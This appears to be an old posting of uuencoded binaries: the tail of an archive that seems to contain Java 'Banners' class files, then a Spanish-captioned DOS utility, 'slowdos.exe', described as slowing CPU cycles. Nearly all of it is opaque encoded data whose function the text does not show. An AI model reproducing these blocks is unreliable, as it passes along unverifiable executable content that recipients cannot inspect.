MY8C@I&)][=CQ7)/@[^RY#D)A`GE<1%K\+TY[AW':.\R5/,:6O+))F"ZBEXN@ MH\YXI?C+&NAL2SK706;@;UCZ&6[/!7;/*4TBPT6<$$*D.+U&XV]H:40_EVBI M332Z2?1V$6?:RGVH222AXL5?U!4/1"^PU\KCJ!-G5`R#O=_)Z@K5K&U0>?S) M"*Y(TT&+WG-#RU+D\BX!@HLM]%03_>)<3WE"%U&Y]K54>HOHVGJ'[]Q@:"^0 MU%[&7GB%DK37*5E[@X9H;]-([5WLB0]HCO8QG:Y]1I7:Y[1>^Y*NU;ZFK=JW M])#V/>W5_@';_X'>TGZBK[2?Z7OM%R&U7T6L=E3TU'X3@W028W4A9NE2S->5 M.%TW1;4>+<[6.XGK]3@1U+N*W7HW\;R>)#[4>XGO]+[BF-Y?QND#I5<?)`?H M@^5(?8@<K:?(<7JZG*6/D,OUD;),SY!^_42Y6L^D_OP_L7#]WSKW9/".R(55 MQ.<CO0BE\L@?]^<%:7AK#G\ZIR._G[V+'8_0YB7#FD6W%E&?B\-6:\]3082& M>=RY;0>[/4M+;Z9WLI!V=4G2DG00Y#N()/W`L>]1_+$-MX+?X98:/YD/+O9O M%7Y.0LO[.W`*CZ;N2+<OHVG(U1?2I3BO;J*M@,Z"KJ4^1#K.F_HTTO29%*UG MXYE%W0%[Z+.IIYY#4_1<FJ;/PS.?Y@$NU!?0(GTA!?1%M%)?0N?H!7A.HXOT MT^D2?2E=HR^CFU"^52^D36C;JA?1G7HQ[=-+Z!F]G/ZJ5]!K>B7.)5_!DNV% ML&[&,G2")-_`B6D['Z&-2_AR[]T6T3D/QRN1I8LL4V1%\27D?LJ(O(Q\6/3( M0J*2$"YS`8ZF1U+4@6/?IJ(TBU^907W^(W3+DA:ZUV%S@.)3DZ*XE=^90531 MD<L]'`P+`37+^`"DX"/>=4N@5"%;Z*^<&<1%-]/>6RF62W')S6*RC>P41G8* M(YO%!(ZKT4E6?'$S;<^,L6\RF^B(-T9NMET<CD@M*LE:$*2WO#$;6U'Q)E#- MK03*"P>U!+BMWAA$PFAOM->SE=8R8V]TL_!GQH#E)IH!?,QF_A)M=W0O*H\4 M\$WE$9MG<8=-219W=$:8^/L4'H?B#]AW]L;<2F#E]6PY=JHS6S&6(4X$.YS0 M@Z*H<`(/8X-.C&%LOA-(,IV+MV5N<01'$Z<XP`D;7.S"T<(I]G1B`A?G.IZY M77&&XYNYF.%X92ZF./Z8B_T<-\S%WHX#YF(2NUY'R%]L+VECE1-4N%CMQ!\N MFD[@8-JC3LC@XK\0:8)R']L3LL!`,W\`Z<2;.UZBW"Q.;!;CLPSL>V$T4F>@ M5SOH+#/)X&"-I+&S;9LF5!>4:X!-;(,5%4%9`NP"&]O5OH).,IW@$Y39:#GA M^):4H!R!EM%V2S>[)7YTDNF&HZ",1^.,R,892:8=>,38H/@)C6O:2A8,BH^! M53:VN]-%)9FA7"$HGD+KA+9RV$E#4`31,J>=A)P]!,65:,D[OF5`4-2CI392 MO(5)IIL^!,5B-&;9C0,BN_5T78-R8750I(.R-%+D4HCL!O>@B$5K1N0@&:%! M9@3I'VA<VDXV#MQ!>@<M9[:;*4?P(#V&EI*(X9)L<W'B;Y`VH76<W3HUM+*V M9=GY#)^B(E(9^#HN#G.RF4P[DRFP4QFV-EH(5MW:"<=I39"RT-+UN!8Z&J3D M<(29A:C"A[4OXX>&XPO[/F/CT7&M5X7#&/'K_>"RB'\<$/+)SE5C8N0GI,C; MQ<P#Q[ZT'7+X1",WTMUP_:L0@%:3KJ^E>'T=>?7UE*B?A0!T-O71SZ=!^@4T M3+^0,O6+:(Q^,4W6-]`LE.?HER(@74Y+]*OI=/TZ\NG74Y5^`]7I-])JE-?I MM]"%>B-=IM].C?IF"NIWTDY]&SVJWT7[];L1B';1W_2'Z'W]83J(3.D(PN\/ M^FXZBNU(^J-"UQ]'9O>HZ*H_*0;J3XLA^C-BF/ZL.%$_(";HSXEI^O,B1W]! ME`*6ZR^+BX&[5']=W`.:^_2WQ=/Z.V(_^KVN?RC>TS\27^@?B^_U3\1_]$^E MH7\FN^B?RU[Z03E$_T)FZ(?D*?J7<J9^6"[0OY++]*]EI?Z-#.A'Y#GZM_(R M_3MYH_YWN5G_7MZG_T,VZS_(I_1_RA?U'^4[^K_E>_JO\FO]J/Q%_TT)_9CJ M9$C5W5`J&7"`H:MAAJ$R`<<8EIIB1*FY@`N,&+74\*@S`*N-6+7*Z*PV`%YF M=%$W8#MO`PP:"6JGX55[`1\SNJL#1J+Z&^#[1@_UA=%3_0#XD]%;'3/Z:!ZC MM];92-:2C'[:8,"AQ@!ME#%0FP(XW1BLS36&:$N-%,UG#-6J4:\UTK6UQC#M M<L"KC!':+<8)VCV`]QD96I,Q2ML'^*QQDO:*D:E]`/BQ<;+VE3%&^Q7PJ#%6 M-XU3]#ACO-[/F*"/,B;JTX";:4S1YQM3]>6`Q<9TO<J8H:\!7&_,TAOU?^M; MC!S]/OUJ?9<Q5]]CS-.?,N;K^XT%^O-&B?ZF4:I_A/(71H7^M=Z`T[(FSW'O M"RY%.L6_,EB$DXFN;4^#W\Y)BR^W-Y.NMJ?%ESE%-,4/=HHZBE%.T6B]V!H0 MRB0]X>T5D63;OW4U&L@P5E*,L8JZ&:NIG[&&THVU--I83PN-LW!`7*`:7;$N M=S[#T03D3GKO[>F[A<9W>2>T9HQC,4PZC]<E-/!BO'HWT\/.X+WY,H\ODPWR M4&>ZTA4D`S4R+H<@5^*YBCR`G8VK*<ZXAKH8UU(B8"I@)N`8XSH:9]P`P?+5 M1E>P;<BN3?Z^-W2,#MEB$O4$\=&*JR`A[6X6)5P9H[>Y)I_4H:!#FT6Y(^A0 MIT^B?A5+VYEZ4=^PM)F<0!I;2!E;(>6=>+91+\"^QEV4;-P-%08I!3`+<#I@ MMG$/S37NQ0K?'%IA4>^N\$-M5KAWZ[*>T;JLV:%E38L?X11-%+L[10O%)+MH MQ#%%?[?,)"ENF6D*W7(4RL/<<C3*T]QR#,JY(0,+JTF$M./KR'X>X`^=1A.4 M7POQFK!TS;"C%DI`W0O8S=@-M9T)I>R&4O90*M51&F"ZL9=.HGHLYU[8V2,T MD0(T"7"R\2C-I@;*!<PS'J-\6DE+``N,QZF$5I$/L,QX@ORTFLX$K#.>I'6T MALX"/-MXBC;@E'$IX&7&/KH>5#<`WF@\0SLASR[C69C,_/`6V^`NP`1>`!5: M@#&M"W"\,GJ&E.&/^)`25H9C%:]!&>N@C->@C->AC#>@C/50QAM0QIM0QCHH MXTTHXVTZ!>7QQCNPBBO_1*CJ/Q*J(B14W.\+]3F$JH90GT.H@Q#J"PA5`Z&^ M@%"'(%0UA#H$H0Y#J&H(]16$^CHLU+NN4)5MA#H%DFPD3UK\^%:OI+<:ZM16 M0QW8*GY1R*C#XD\)B=^W(_'M']$8/T'\L\#V)XC_+XC_;THP?J;>P/4![&O\ M0BET+@T%3#5^I5%T'IT(>)+Q'QI/9],$P(G&?RD;!])9@+.-WZ@<?2N,8YAF MOCK?G>9"^U\Q$`UL,\U%ML1=TG>)<<@&TW&\Z-+F^U(?]CMF#!FFAV+,3I1@ MQE)/LS,EFW'4W^R*$=Y4Y[E[?H_[L?HH1C#!<`>/@?0;PV3:PSC(^!ZARB!4 M4D.5P:C$ARH34;%"E:FH+`E5TE&)#E5FHK(J5!F*2FRH,@J5Y%#E)%3ZA"HG MH[(L5)F-RFFAR@D[^(=4:7%QNT5T"_UG1WX:,K6R7$:FMR+#2WM2:&FKPDO+ M\X.:]]`!_'<EO4P?X+^06]U(@Z'*9-+,?F29_2G.'$!)YD#J;0ZBP>9@2C6' MT"@SA4:;0VFBF4I3S33*-=-IGCF,"LSAM,P<0>7F";3"'$D!,X-6FS`%\T2Z MR#R)KC(SZ3IS--UJGDR;S#%TCYE%V\VQU&2.HSWF>#P3Z(`YB9XS)]/+YA0\ M4^D#<SI]:,Z@7\R96,:79:&[C&<@!O)E_F=I]H_7TNQ?KJ79/UM+9XR9SA@K MG3%17LUK;J:N7MW+OXKV&MZHS:2+'8S>1MV]6N]2CHA><ROU]YH<3'LZM00T M%3I-V\CD)F;!771TT;G"72S^A-;3J26@J=!IXBYHXN&XBX$N!E>X2U2FP5WL M6@*:"ITF[H(FYZ=RX&&TB*C6'Q39U]/F$IAY`7G,TRC>/)T2S:74QUQ&`\U" M&FOZ:+)91C/-<EJ`\F*SDI::9U")N8)JS!IJ,/VTSJREBU&^U*RC:\QZNLD, MT!9S%=9B-3U@KL$:K*)'S77TM+F>GC?/HC?-<Z'W:^3:\!=@QP^-#%M8/]?" MG,]UN^B)#AL>;_VB$<O[S[R8NIL;Z`23_TW9M6'V.2Y[/J0OTC93_PA^H]KP M0T,S'6SE&L^WYN85,-HKJ9]Y%0TQ+T?+_O`_RJIV_PW92:DM(M7Y!V0XNM3: M7YKY5<BO19C534M`<7H3CEWN!5*3Z-LZS&#^0`N/KM&I*"W!9`JH*YU&B70Z M5J>,AB)M/!'M0C78_SSNQ/\#4$L!`A0`%``"``@```B,)_M`_U?2`@``+@4` M`!```````````0`@`+:!`````$)A;FYE<G--<V<N8VQA<W-02P$"%``4``(` M"```"(PG&^.)V$8T```W7@``#0```````````"``MH$``P``0F%N;F5R<RYC :;&%S<U!+!08``````@`"`'D```!Q-P`````` ` end {]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{] [}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[} -Utilidad para disminuir los ciclos del CPU (ver colaboracion de Blacklash) begin 644 slowdos.exe M35I0`!,````"`/T`__\K`P`#`````````````'1ZPP#I`0`:ZT[#`%1:N&.8 M9`<!)0`[`W@1`0#^(B,`_B(+`0``&0,<:T(#QE(!_@IXQ9'F$8_LW_>5:SX` M(``!`+1`NP(`BTP*BU0(`];-(;C_3,TAZ^J#[!"#Y."+[%"^!0$#-@$!C-*, MV`-$##/"=<_\CL(S_[LA$#/2B\*Y"`#1X',",\/B^*O^QG7NC-I25@%4&`%4 M%`%4'(M4+HM,#O]T$,1\%L5T$OWH00!9270C48'&`("!QP"`C-F!Z0`(CMF, MP8'I``B.P;D`0.@>`.O;_^->'[LX_P/>.U0P=?+$?!HF@7T"PP!UY_]L&JTS MPJLR_XK>T>.*\HK0-C,7,O^*WM'CBO**U#8S%^+@PP=424Y94%)/1R!S87ES M+"`B0F%D('!R;V=R86T@9FEL92$B#0H``````````````````,7O..A(@ZL( MT7+!"L4LU)_0O(U*NHN5QQ:&GPT^+^?<8F9D4;%9YS8YX43L9PFK>VL;VZ-S MH('RD(&[4G*V]`JCP>RZ?KM7P"=41>@<EH-R@Q'4)'FRA<SH&P!6]?7L2`DM MUP2`DK8?)I[V<@1AK('C28>'E0)HLV1V!R13#S4>$Y39I;C+<?!T4BY*.VM3 MM.R:N89E%LVC4TM";OSGZ4@7UNHUI,N=F=8ELZD]XP3&,@E:F<NK>S\P44IA MEIV?!I__IBOA>YPQNW,9+7[7$_S[-.5(_T"'#?G>EZ+XL6IR#1OC*M!]&N\H MU%HWB>C0]%,2'9APB7:HSZV#?'"6J>#G%X3NP!^>=/A\%G3"'5X,Z#78GQWL MIN_@PTJ6)+N$*ZI8.K:W(LR3DGK6ZM.)E"M-L9.FLPJ7HE35MFC1=+RH:,1? MV"L0&J-J?I;3%(&[!E3:?L'AD06UR-M7@W&)@LP8BR]&[*-D!^@K2Z6G62)@ M3C#*GOTC#+J5RW-$X5J?CX!UBF)[]])N\9!&49V7U5X&*A+AU0]$4B<J1,W" M8SSDD(M7R*GRT4VSLJ[,*C7(F\M7%6\@'6`(HRFOZ/EA/I###<2(5FV)BS`C M-T:*D;`!65(J"A<B7G3/0K<=Y!J9Y3ENT20H3>>97+5J'C:`G1WXO6;A$,C\ MA]7F0;D+>D;"U<-@(P`][;X&9&L0N,ZB4-ALTUZ]^+6P8)V!'7O=XA*G)0!. M\,!H3L)A*9VCL^"X;ZMSO=17VPD5&Q5@BV*;3`Q:>I8;S9Y'2))0;>NC[@X9 MSVAI9`SK='7!$T5:L%AQ+U(F]1D\42]L*`/N,[")]?RN8W+DBL&6J?J<8_(& M*[R!TO+/CD,GIPO?%0D9MF7Q,$#6\=;5TRE_%(JWUPE8*E)L1\5^E'",Y;7U M7$ES2S,!MH&/GPC5@WZBRS/V5U>1U(Z[#A7\-W*O6CI)?EAM*>R<^F)YO=T/ MP:Q3V7'&`/FHSQTV1#0064XVU\_Q"G)NW7FW0"9=W^1D=K@;"QKH$,1914S, MU,\O22".'6\CHCN8LO2\;1[10O\L'`.>TE4Q_P/-F3>(GS)2>027_6TW^&/W MXG``B#CE4F4&&<=[F/8"<R90FU$?LJIC72;Y[7C2(9`N0_A]S<W\`T2T$@8H MD)XG8+&?XR[MA5S`@/'M(_"%]*!]*8R+*W9:GD?@&>AO17_;F^RH982W$>([ M.G:=Z-EIN*$(EB]FK(_?62?^@U9BTN5.)!M8MD/VSX#+L1X[*XABT$)]J"*F M^IAH56THFY.7=/4:N76G3"MV6X3`9GD_Y3@)F[,73U^J^4&(;R=4VO<Y=I@W MEO2[0WY&S%GACA*-L\F3Q?Q3G<,*]>FK,"_SKER+H59OW;"7-26V$/IP]$+S MREMOUR.L=D+)DS1E2;NQQ9M<C2%:B43N_U`>-^NI'GR5F?D+@*0.#W0G6)#5 M@_+?6LAU*HX*<G)+*JZ3:2QH_9#M'\=`77NH`=X]\5_W11:^BRT:$]^Q4]P? ME80N-^K+J<1WS)@>>IR1&[S*_32E7BU$81ZFLQ$.3_D?!):6Q@GIX)W]+<2X M3YZ#-[:YPROS*/M"2BG<[]@JWI[2$$,V3^GTT*Q?F)&$D2.7CQ[*PG*,##BO M:S)UJ59U@&1\_ME+F*M"9**Y8&;3W(\&$1SF$-V!8/[V/=&1=U@U\V*&5Z2* MZGTSURJ]-+7MJGSWPFG4ID3GM&W*\MY^(A61SV5>QUD[&8<7=M!IT0,#(UI= MYP#KM$^=L7W&/ILTD!#[L9$`SW(7">Y3`!VS_5LF5F[?\!&I?8MH_(]?BMH3 M._V"^]I'SQ,N."2JC[9#U/GO\L9(+KQT9AVF)2M$Q@R_!/`C_?1[GB3J/[/R MZ]\X^<0%GUP>-P`$8LV*.,#4Y<J'3SD"3$B'2A,QY#0O+1AL6(ZG8ZLFL8[C MFW9V<)+S0MM'D$40(0D+,-'-'>MGM`7:R&N9`0"JE-AV6Z817G+6OOPO4_@L M"4=T6'9,X@*A]'S*1(.[$7(PFTPW.S$=MKT/U`B![*,'&C[9OG_)/)%ZRCU1 MI!ZXPB`"D&[6H-6^`#!$&"O!\!T:@6Y)3HA,"5G&NWRQMWHKD&XI/N%K3S(^ M\`LD/-ACL`TW@-&!EN)5[EAB5OHH!;/B_V6Q<<>^KFY%7T^%B5=\L2/_\.B$ MS"R$6BLKWKYV"+"@*'<`=&L,Y?AJ57[G"FK%L.`H"7&`Y50NYO,8LEB*<+:R MMXX]1VD"LYMA%9U>AFMM5OP">FK=)<F)*\C/5P1\D6'2]#F4OSGF5:(W%X:M MG^.4&J%(T^U0GANJXYWR7;J?G41(RW_.X9O8K^.BOS,'2(+UN"W;23-?I$CQ MBO3))1Z&GY09@S*+*AW[L,-\:&5C*$Y']F4\]X=ID',"I[-RR]U8595@+&]E M[!?0&>J&9PWHZ/[-?'WK\8"?Q%B(X.70+`U$>P1G_2>O+]3<T!JQ^VOBR@?W M2]8Y.J(SA[('H(&_X-[#JH7^:8F3YFZN2LHA:`<;ZIN9*"2$+7*O,WR[**L@ MY)_2\-!=,;\<`0H:M9E`-%Y6@<XV,SNM#X0KK&I:F^,B>>Q5;$FKJB@*[JMV M7NR(-E\\HE*Y0_!,=;LLOESV_QCA5$9VUG:M*9HMI151(&4[\@.IZK/RY++9 M4=??-AR@!5@B*$SRS23N(7D]DB:ZV$4KW+)9XN@PQ+.1`BP1_9BB\):]!8'D M4PC]2*YH,E7RB#<]MUI9HB>9]TZLMC_0;M[OO;G880&B\#"$]*4VAD/[X4!? M4#Y4X]S"B)]_]V4U<-3U[Q?B1,*>Z4Q6L$J_[0!T]8&E]WIS.BU8DF%364@R M(K^L-:S8_KYB.*=>K*$36*O@A&Z,J%2A#IQ7%7R&GXM^30E*L/Q;`S#-?/D8 M?H"P%/&TF"N.LLQ]:F=))VQGC^@.DBT=KA,/#(W-MN?[(X7ENHD-1*&+&,1) MA%\XV-PP7_+M8%\K=T&:-WN=.D_=#,,8]RKA&8%>#3(VPU_?@P<>'UA@+T^3 M,77N\P=Y!4'_#E"UT/R9.WNIH?0UU^0*O`\"OI&W+GAFW5Q=J)\]'M`ZB>J, MY`-E&?:5YIO$!EB>?V)Y4F23+H:::1,SBH_+'+7I)-L,R`.:ZCM3VN%R?77( M(_Q--0!7=5[6)-6$D\`D;<BHK_,/MDR]1RE<4!K;0%@EG-?&2,\@6-G_<OIN M[^1!FNO^[UK6L+N:$A>X@()4E+;IG3)X#JFP!P6`]F-[.X"@]1Q5_7_$E;X' M9_YJ!&![/`<BX?@>?=!M*EGN+HWF'K/L68?4G7A*_.\Z)2+O"P"=OH@<^R80 M;4"NM:=S9\:]M.?=,G6",+R)F.VICB4*WO461QWM2.>C#30RDW^#L6$J5;.D M-T2AX^1`?[..^*Y&OJ-*=M"W@XT)T%:P^Q9CA1LXUX$5]'Y,\_'S77A2E?6` MP(.R[IBK<IM8'EJRO6&88?A^]8'^@<\H1M2?I:WOFW)X`76BHXA6U=2?)>XK ML\'W:8,02!UN;'*]4^J./UDU[)*`7LJE'OTO;B%/D^R`>03].K)GU[3%K8-N MO_(OT_8%_,CJU,U0KG'(9QBT]D,V43?/@?1L>?B'R?DA=53LDU(1<&61(J=2 MM4CR'1GO\-!@*JM.QL4V([&#,*C$@;4HSK&>W`6H*]!F,]$RW`/)DJQFN?0C M*5/.C:HAQDB6>QAICOR8JOGYL&_MTG1AF[+FQ&:Z1+@5KHH.?/^6Q3^I,2B" M9VL*0\;5<@JW,?CIO9/(5FZ#[D\=('F^`\TL9#>9$\2+5%/>/\Y#N&H;@S-H M<.4@&ZX@2>17$^605VM'N*67"XLI:T>JIE7I,(&=A5@,H@FL0\+2=)W/2+/D MJPJH2;N`LS`X!,A0,$DORK7PKN:PP3[4(<E7T[PTDM02D?=&=G@0?D%S58%[ M#KZ+3TH`ZU&!(L2+P`=)B/#1$2P57?,S*=K*]Y]HYQDT-H:ZVC+H/X<HZR'< M-'[K7%#Z0PXC4SR8A`OD`_4Y+OCV#>G7HDO(KHEW&SC(R4POAXJ[<HMWJ!<8 MD+7/Z[MTM<7S_^GE61T['NJUDZ9MM=[;N,PG*A=I_P1H1>N@/:U>\@FA"XD8 M*D0UHW;3,^PY3-5\'\Z:DET8/]=OV\5;BO^.XFX2+6R:,Y[RNBMSZG&Y27Q9 M]=FP--J&X9G^X'/'FKIRRJ79']4(BH]CNJP,]0((A!-LI*#OA@SI4YUR<7%^ M+1]]U<S9+(\J39PQ?$RC1=(Q4R*UA$H1P!L6Y`M.<*[I[RINUZ6Y4T'!108I M%.U]Y%!\!ZWQ_;+M7@6XBMH@I2*,H1<TLHL=L0,P%'SQV??1AG"X7J5*@HF0 MLCQ5T3I%JK4_K)@]C<K9[`7H4I+X5^PV?VJ,XG=WGD`E2F8!&8^,&?`VZUJB MZ?MKY0K(E2L_'7@'.FYH`QK`"<=&1N3[7F<<NLQE&U9F6H,,)\':L=VH3>:D M'\"SK6`%Y$L!7@GT3^$<-U&FIF@I>#=?X@F/[2L\=%'DT;$K>=JD(3M)U>LQ M'E5C7,VRN6V,FO.@DF2H%9U))F]X70/]969M+1>56<86B<:MH*Y==`T3Z';* M9YRN,!MT?(5B4(_ZKR4JKM%G+15@)JV9.G2&XH7;6&<X26C4/N$;1?V6A&]\ M;MBN5HL4_`.E=**YPWAVV8*]7MUJ2LQ'J\L&K9.5N&\"'/5`[!PO1A`W$E%9 M)0FKCOB)85A,/H`%&*-"0OY`\NX?GV^VPLXG/.5^H31>H8-X6CFBU73C3&E, M(<[3QL\CKI/6PA'8[>U4^>#\VVO<!V82EFT'9Q,C5&K6YPUBGJ-AXFEUO](W MXL+[8#1%W%E\1,FV#.>,+3+^6\@_:'>FNEZ31_L\,V3GK*2]-&V2$=<(*&8& M32KXF4Z--A7#*_[UJR)[#,-/^H53@MTD2!,S)2VR9$AT5Q>@/?&B9P,]D-X( M/A%S&9`$I_*Z8'93#0*L[J>D7+F!"U_X<<.3?*V:.FAX9%K_+Z4(T7_LD@M! M`6,B/I1]^YPJZ29_>T<<"#*;);X_??U#^@W^T:_0B[Q_@AC"E+^*=Y[`/,F7 ME>`1$"B[_?9;^Y^Z"6*CX:U-S7/!*J&+/!W*(HY\FE(5C%F^P$]_"XH35Q9\ ME>>U1M:YH:)\`/64[!XRF>)I7$9$*)OOSAL+,_X,D7(6O[HY<H!G,AM?8*#[ MCP;+B)Q0G5&+M2VVE([VF69,R*P3:)M%G,61#3/P>@XS>VAHEDKP#9.>AID. M.:;)9<5<FI^MYM9;ETZB4^;2;&[H]=0@4;%WKG-2<$_<AQ0L,P&MH!FHG"S] M%?N*;N@,IY&)1F8VD@3Y5JQE.\L>59?J7Z6U\+J@^9/YKFJ"PZ4,G6"A(YZ\ M]@K,=F=^Q,(!>&(^;OL&[M7K4*>Z(^+:%"AVGN(\%?H\*@G*-GKWN])V:XS& M#KFGB!\U(LPK7FNAV=;#8U+X!;?+'Y;'_H\UJG]56ZD`<H]``72K9!:+X.^T M"LE]Q;LEJQ-]&FXD0>VT+9*#7[8IMTY)XYB+'6F)^IB,*_:]S!=+ZBX]?3"? M7E>%(45GK7F-&F6D.5!H?10&6WQ'&G20#.6Y':MXQ(LO&OFHYQ!V.Z;D+OYQ M%2CV5W#]5)B:'00WM!8#4-^HEL^BK\-A?,K%O57\AT*\EI9PJIZI[^+I(G/J MR472S*2\IRI+-JO12>+>,JVBYHLK\A&`,S./!?M0.4$<IR[[^G1^TWLC[]PM MFF!YV!<4$P).F2N>JJ02.1\OK^/Y6.G9OR`N%QA6:YQA.IS(Z2T:W-_F++(B M%;Y@BSKYEKT'E2$?#7120@FG9!*D$YXXI;4E7<!ME>-<#1Q-,_N%`1J3T*P6 MW0'5\1@J2MS@*0&N=QP3T-0/(626EKYL7-JH!]TJR6I';+`+V:`0DG%7)9NS ME.0H$NX!J.,O%5HV<]QYR/;GOY>WU[(9.$QS@&2G)2]S8]F*]'M>E\OY2!&8 M0:%/]QVGZIL3"<Y>@DYU^>^0E^G6A5B"35:$4^X%U:6;W1-;JMC;0'!,G`,I MAF[>0>"W.X0=?<)>'%-F"N`7<>S*N0B24E5(TKXRK5*Z)T(7U7RPI8ATY$Y7 M*%A\_*OHN#<F.L4(WK!DW46@P)CMWTG:/RBS8:M<V*HONOL`[RCDJ=VVY2*@ MB6,]<)I@83\MH5;1>R)Q_&<#%3030(4AV[(4@ZAME%E?$$,)KX*O*B9C.6`+ M7>0P!7E_OI-V1Z;EUU#,C_Q>,,)]<EFKI/&();T*KE8;%NYK_H56V1J)=Z8A MDE\(>&.1I_>O1E9?U_5OU;`&R*M3.>8QF$OM!"DP+HB4;(`D_FJ0M%\JP><2 M+F/OD3?OH-M">14$%0$]LS6;C`V!I=GR\L^GAD^\#[I_RD=\7K0TH?<Y@A;W MJ0%7(_"598^L_>U805#7X[8]@B(:E:1`SPP5]/*09+G)B7/,<YZDAD:3D-0Q MFX:YTQ[1ZKT?L-`7S!BH@N?C!3UUS,Z`%?#MZJD\!+!/2^O.K\T&#P=Z\W:C M$;#Y[-1WB^XSDZ/S=NI`QV6#-G@3Z*2U9^8Z_^P6-K]F--4A0KKB"17%;T[6 MD/2S;D!7)=>!,[XT8,X+B';[O#+&]/K"\1Q/+?+<_9]F5R9$-V?&O<>#<X0Y M1HKT8YM96?E,@Q/^05FO#/">-MTJ.L]7)CSVPHAKHD)(R)E1-(X:D[\]#E2F M\BR-@M=8X%.F2,ME#-NRG>"(7`<_G&%KI8@W1O6>'H/19OY)0O0<<-4?D=2W M_'LVJ\&0$<<TZZN_%!\)>K@PV.MZ`DA>T4-H!8Z_N:'-26F3%V@5L'_QQP$E MM6"[)X["ATR$N!O.\)5(ZA(SNOQ_ECA!@JHFU`TQ"B"A(OK"%X>/8G!1CC13 M;S=3^&3OWXKT4`D3>4&]M]F5%#=+^!)H^C>]S/$CRJ]I)O*/&`_AWU%RC796 MNBQXQ"*SO=-G`5G</+LJ0N9O%>/:XJE>;/FPE:IDQ$ASXE@Q<>_8H<==4R7Q M7`L4,Y"$6^TR#NL")\AOL3?B;12R+$0(]V7X^ZQ.2SKSLE^!2_V/*+JT#B-9 M<F=\4.8&Y\H*`[D.8!85XIPG*G.LE@ZOS$4&5VRM:NPT3A7,(OH15!)4+SC] M;?>T*W=`K#P/K,,8+0HB:$2.B!]3EGT9,UB\)TYC[CAC<?DR5ZG_&6<[ARZ\ M(\))(?9(K6*BC6A+$??)\&G#:6C(5T]N3;@Y7S0"`;VC"Y&C8:I!U9?798>Q M^NQT9"-5SAG:P39,'7.`1C;M#?"R!UA%N,GR:0.X8OZH0GP%5ZK/LK?D'1T< MY>UV%H@EU<^4#J=&MY0BLV?J9B#MYZ?4:"6P`454;TMQQQTLRZ0UC!T&0 MG43?'-EI8>9.Y^J5$UGP36K6+A1:TZY:O7FE%'?UW8FF4E?NQW7$\"5><8&9 M@$WO_JT*D_0MP8ZZ<PW%VZAACZ(T#8W)<'7LF+&6?4U3F.'ROO?3G%$]CS^U M:!6+'IZ$;/%[V<E^B)J8"Z.&+U"W=QBUC@:'=9Y9*E>[85Z!&91]4DT]ATH\ M'OL!&G]#]?5M^SE#F`W[X>,-/J?I2V/FW"=HY#KX>?ZB\*IL"K2T=#1>9/S( M^ZA^W^;%U:\;W[&/%UGH>&QT':D1@0,?P@6W&;XW;D[>'@LSNS,!^^"1G9\0 MM)4LR5E@^*%M8<Z)7GIM[%8_"W@%9T';;(/`"T>BU'3MFO8V?63%J8@/-\@] MR*KL&PUGBR8^.#;-!AH,2@NY1$W?>0U']ZGM@]KL9>`'9#@O=H$7)5BW.>AG M"10<_E=`[,\+WW7LBK_G7E^S)8N#;3OG#TCFN376ALVM6Y\)1L4A?.HME&;6 M9$DI"1P7#\"R->S!CP6-^T559"6=\^%@YBW[Z6W*HEU\L8UX*D\5Z41DBW&K MD(F:7B@"'X.FTB[[\:>#M+R]]B$:G^HD2JQVT&;-9QYPX088U?ESR_N7#VP( M[VP"OR96S[.Y=[5S=_N>E\.0\[7I8^!X2]B7*AH6("+@EG-Z;S%*=MFD#.*` M&S`?^O2.#5E<MLW(6_$UQ]_YK^:)(/#>"H#[X.%B[1BQ0DQ4/#%UI51X?JUF MZ0C;T]5#QD1#]/?7[W!,TE:/N+*/Z?48`GI;DH!"JGK2YQL`X,E-D42X8EIA M%G-[G/K'<_P>ULCU5=*5EMK4(JV,Z<BW^O9"VKJL.C2[5'I)44<DHOTEVH#' MN/@KJ.?N98\_^JM#&'UB&ZM)8_<&KD?F2<];Z;7X3U[H>Z$A0ZU$MYL"^Y>\ M-^78[T2&;4+6(.N-(5J^"+2MDF*)8!(OQ_C#S(JC*+>)?<%`)+/G(;HV(B"J M32(H[!%N(BQ"LH7\WOMSOW2SVM3B`ZWP/H",R7NS_%MWK=U<YUL0DP--M36! M/9O\ZWKTN70*_BG$W!+L1(+2^EM`4Y4"48,-PJ]K."]<V#&W2H<&$S1X)485 MLJ2];79P-EG)U52Y3IWP@M@H@"Z07LZ+L7HE\X]8J)45%O>M#ECG>Q^:G@/\ M?(IM`V\-#5HNNRNO\%0_`T5ORVSVQB,(C^PSR3&5Z'>9-ML?](P6E)<8>EAD M$&ZBO6%T1UI1:W`]@5Z-QNPY"G/>F<%J%.`AL/CWGN\1R241S4;?O0K1OB1$ M+\H\__(IJ716]YRXF\PPQ?4<'_UTAFK#-O[#6%/="J.AU%VR1C&42UO:R);H MNH\.IJ-BS[OJ'0WX)<M77K%6\P0>U40-"FF(>G4TB9226C*;G6%-?V=7FQ#C MCN_RQ%%PV?A@TILD-129I9Y=T+P"E]Z-T]]<00N\AJV>?..F+5_N5%6=?TBA MB.O"J)5I9UO_4;9)V/W$U;G8VEX)"-'*`K>;H4#INEVA2PAZ%K<1"JM5H80& M$=\T:M_KXEW;4$LMLH/Q_+O1T.MQZ8PP8Z/2Q2-*^,X%FEK4IQ@:"FXL!FU: M2F,H<&BY6B"HH-Z/;#Z9AR=S4\GUMO'C.]>6`5Y)N_#]<^>O+#C86!/$%2X* M;I2\8T12QD22:=SS(BA=D_1P>2#OP$@/->3/$/_3-$1E1A7]+)7:6YNCA_Q0 M@X"0X=ZIS?HHJB_;NGZOVQE9]/8(1.)+\^@;@:FURF'+LH1O_5;C""Y2DZ;" M_VYM$CJR.J(S+2*>K%CS//AVT+K+%09QO(VWA1)B*].U+HH+;**:6**>Y^)[ M61#%[E6%VZW>/)NB<,F)=W:L6;C134D(3IZ\H/[JI0$D?%%H,KL>]H>3Z'I) M`F).7ETSV4;M4/14VVN-O:M!59X+]30]ZMF\_O79^&X%=3HSO`:D=_#+4>:Y M=:9#6D#/,3L`A/T&Z#<!_)['XUY0WH?Y>EKZ6'$$W.PL4*;_L>=ZAC/3ZJS> MJF!"SMSRT6AHBI0\L3]=`)PI&E>'\[08"VM"1Y1R.5.O`>-`^J7\+RC8A><9 M(O98^S`Z5$PU49,:9K4(&;3&'(\]D3?!RW.OS^GZ/RM58$IC-KA'Q4^KVS1E M*!W!<U]]LZH*"X-[*K#FSJ=D1`Y3^A_=\,VS;HI_\)SINPK&'GZ_-[+8KX$7 